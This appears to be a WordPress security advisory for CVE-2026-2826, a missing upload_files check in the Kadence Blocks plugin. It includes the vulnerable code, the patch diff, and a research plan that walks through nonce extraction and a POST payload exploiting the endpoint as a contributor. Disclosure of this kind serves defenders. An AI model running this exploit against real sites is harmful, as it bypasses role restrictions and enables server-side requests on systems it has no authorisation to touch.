CVE-2026-2826

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor <= 3.6.3 - Missing Authorization to Authenticated (Contributor+) Media Upload

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.6.4
Patched in
1d
Time to patch

Description

The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.6.3
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginkadence-blocks

What Changed in the Fix

Changes introduced in v3.6.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-2826 Kadence Blocks Authorization Bypass ## 1. Vulnerability Summary The **Kadence Blocks — Page Builder Toolkit for Gutenberg Editor** plugin (versions <= 3.6.3) contains an authorization bypass vulnerability in its REST API implementation. The endpoint `kb-image-picker/v…

Show full research plan

Research Plan: CVE-2026-2826 Kadence Blocks Authorization Bypass

1. Vulnerability Summary

The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin (versions <= 3.6.3) contains an authorization bypass vulnerability in its REST API implementation. The endpoint kb-image-picker/v1/process_images uses a permission_callback that only checks for the edit_posts capability.

In WordPress, the edit_posts capability is granted to Contributors and above. However, the functionality provided by this endpoint—downloading remote images and creating Media Library attachments—should strictly require the upload_files capability (typically reserved for Authors, Editors, and Administrators). This allows a Contributor-level attacker to perform Server-Side Request Forgery (SSRF) and fill the server's Media Library with arbitrary remote content.

2. Attack Vector Analysis

  • Endpoint: /wp-json/kb-image-picker/v1/process_images
  • HTTP Method: POST (WP_REST_Server::CREATABLE)
  • Vulnerable Function: Kadence_Blocks_Image_Picker_REST_Controller::process_images
  • Authentication: Contributor level (edit_posts capability required)
  • Parameters:
    • image_type: (string) Type of image (e.g., "pexels").
    • image_sizes: (array) An array containing objects with remote URLs to be processed.

3. Code Flow

  1. Route Registration: In includes/class-kadence-blocks-image-picker-rest.php, the register_routes() function registers the kb-image-picker/v1/process_images endpoint.
  2. Permission Check: The permission_callback is set to get_items_permission_check.
    public function get_items_permission_check( $request ) {
        return current_user_can( 'edit_posts' );
    }
    
    This allows any user who can edit posts (Contributors) to access the endpoint.
  3. Data Processing: The process_images method is triggered:
    public function process_images( $request ) {
        $parameters = (array) $request->get_json_params();
        return kadence_blocks()->get( Image_Downloader::class )->download( $parameters );
    }
    
  4. Sink: The parameters are passed to the Image_Downloader::download() method. This method iterates through the provided URLs, fetches the remote images using wp_remote_get(), and uses WordPress's sideloading functions (like media_handle_sideload) to create local attachments.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress REST nonce for authenticated sessions. This nonce is bound to the wp_rest action.

  1. User Role: Log in as a Contributor.
  2. Location: The REST nonce is globally available in the WordPress admin dashboard for logged-in users.
  3. Extraction:
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to extract the nonce from the wpApiSettings object which WordPress enqueues by default:
      window.wpApiSettings.nonce
      

5. Exploitation Strategy

Step 1: Authentication

Login to the target WordPress instance as a user with the Contributor role.

Step 2: Nonce Extraction

Use the browser to extract the wp_rest nonce.

Step 3: Malicious Request

Send a POST request to the vulnerable endpoint using the http_request tool.

  • URL: http://<target-ip>/wp-json/kb-image-picker/v1/process_images
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <extracted-nonce>
  • Payload (JSON):
    {
      "image_type": "pexels",
      "image_sizes": [
        {
          "url": "https://raw.githubusercontent.com/wp-plugins/kadence-blocks/master/screenshot-1.png"
        }
      ]
    }
    
    Note: The image_sizes structure is derived from the sanitize_image_sizes_array callback used in the controller.

6. Test Data Setup

  1. Plugin Installation: Install and activate kadence-blocks version 3.6.3.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    

7. Expected Results

  • The server will return a 200 OK or 201 Created status code.
  • The response body will contain information about the newly created attachment (ID and URL).
  • Example response:
    [
      {
        "id": 123,
        "url": "http://<target-ip>/wp-content/uploads/YYYY/MM/screenshot-1.png"
      }
    ]
    

8. Verification Steps

  1. Database Check: Verify the creation of a new attachment.
    wp post list --post_type=attachment --posts_per_page=1 --orderby=post_date --order=DESC
    
  2. Audit Capability: Confirm the user attacker does not have the upload_files capability.
    wp user cap list attacker | grep upload_files
    
    (Expected: empty result)

9. Alternative Approaches

If the image_sizes payload structure fails:

  1. Direct Array: Try sending an array of objects directly if the REST controller expects the root to be the downloader payload:
    [
      {
        "url": "https://raw.githubusercontent.com/wp-plugins/kadence-blocks/master/screenshot-1.png"
      }
    ]
    
  2. Check Pattern Endpoint: The CVE description mentions process_pattern. Although the provided source focuses on process_images, check for kb-design-library/v1/process_pattern (found in class-kadence-blocks-prebuilt-library-rest-api.php) which uses a similar structure.
    • Route: /wp-json/kb-design-library/v1/process_pattern
    • Permission Check: current_user_can( 'edit_posts' ) (vulnerable).
    • Payload usually involves a pattern_id and remote_url.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Kadence Blocks plugin fails to verify the 'upload_files' capability in several REST API endpoints used for processing images and patterns. This allows authenticated users with Contributor-level permissions or higher to download remote images onto the server and create Media Library attachments, a privilege normally reserved for Authors and above.

Vulnerable Code

// includes/class-kadence-blocks-image-picker-rest.php line 63
public function get_items_permission_check( $request ) {
	return current_user_can( 'edit_posts' );
}

/**
 * Imports a collection of images.
 *
 * @param WP_REST_Request $request Full details about the request.
 *
 * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.
 * @throws InvalidArgumentException
 * @throws Throwable
 * @throws ImageDownloadException
 */
public function process_images( $request ) {
	$parameters = (array) $request->get_json_params();

	return kadence_blocks()->get( Image_Downloader::class )->download( $parameters );
}

---

// includes/class-kadence-blocks-prebuilt-library-rest-api.php line 1215
/**
 * Processes a pattern and its images.
 *
 * @param WP_REST_Request $request Full details about the request.
 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
 */
public function process_pattern( WP_REST_Request $request ) {
	$parameters = $request->get_json_params();
	if ( empty( $parameters['content'] ) ) {
		return rest_ensure_response( 'failed' );
	}
	$content = $parameters['content'];
	$image_library = ( isset( $parameters['image_library'] ) ? $parameters['image_library'] : array() );

	return rest_ensure_response( $this->cache_primer->init( $content, $image_library ) );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.3/includes/class-kadence-blocks-image-picker-rest.php /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.4/includes/class-kadence-blocks-image-picker-rest.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.3/includes/class-kadence-blocks-image-picker-rest.php	2024-01-10 00:25:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.4/includes/class-kadence-blocks-image-picker-rest.php	2026-02-23 21:22:52.000000000 +0000
@@ -68,12 +68,21 @@
 	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 *
-	 * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.
+	 * @return array<array{id: int, url: string}>|\WP_Error A list of local or pexels images, or WP_Error on permission failure.
 	 * @throws InvalidArgumentException
 	 * @throws Throwable
 	 * @throws ImageDownloadException
 	 */
 	public function process_images( $request ) {
+		// Require upload capability; this endpoint downloads images and adds them to the media library.
+		if ( ! current_user_can( 'upload_files' ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to upload files.', 'kadence-blocks' ),
+				array( 'status' => 403 )
+			);
+		}
+
 		$parameters = (array) $request->get_json_params();
 
 		return kadence_blocks()->get( Image_Downloader::class )->download( $parameters );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.3/includes/class-kadence-blocks-prebuilt-library-rest-api.php /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.4/includes/class-kadence-blocks-prebuilt-library-rest-api.php
--- /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.3/includes/class-kadence-blocks-prebuilt-library-rest-api.php	2026-01-22 19:37:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/kadence-blocks/3.6.4/includes/class-kadence-blocks-prebuilt-library-rest-api.php	2026-02-23 21:22:52.000000000 +0000
@@ -830,12 +830,21 @@
 	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 *
-	 * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id.
+	 * @return array<array{id: int, url: string}>|\WP_Error A list of local or pexels images, or WP_Error on permission failure.
 	 * @throws InvalidArgumentException
 	 * @throws Throwable
 	 * @throws ImageDownloadException
 	 */
-	public function process_images( WP_REST_Request $request ): array {
+	public function process_images( WP_REST_Request $request ) {
+		// Require upload capability; this endpoint downloads images and adds them to the media library.
+		if ( ! current_user_can( 'upload_files' ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to upload files.', 'kadence-blocks' ),
+				array( 'status' => 403 )
+			);
+		}
+
 		$parameters = (array) $request->get_json_params();
 
 		return kadence_blocks()->get( Image_Downloader::class )->download( $parameters );
@@ -1212,6 +1221,15 @@
 	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
 	 */
 	public function process_pattern( WP_REST_Request $request ) {
+		// Require upload capability; pattern processing downloads images and adds them to the media library.
+		if ( ! current_user_can( 'upload_files' ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to upload files.', 'kadence-blocks' ),
+				array( 'status' => 403 )
+			);
+		}
+
 		$parameters = $request->get_json_params();
 		if ( empty( $parameters['content'] ) ) {
 			return rest_ensure_response( 'failed' );

Exploit Outline

The exploit targets the `/wp-json/kb-image-picker/v1/process_images` or `/wp-json/kb-design-library/v1/process_pattern` REST API endpoints. An attacker with Contributor-level credentials logs into the WordPress site and retrieves a valid REST API nonce (found in the source of any admin page). They then send a POST request to one of the vulnerable endpoints with a JSON payload containing remote URLs in the 'image_sizes' or 'content' fields. Because the permission callback only requires 'edit_posts' rather than 'upload_files', the server processes the request, downloads the remote images via the server, and creates new attachment posts in the Media Library, effectively bypassing role-based restrictions on file uploads.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.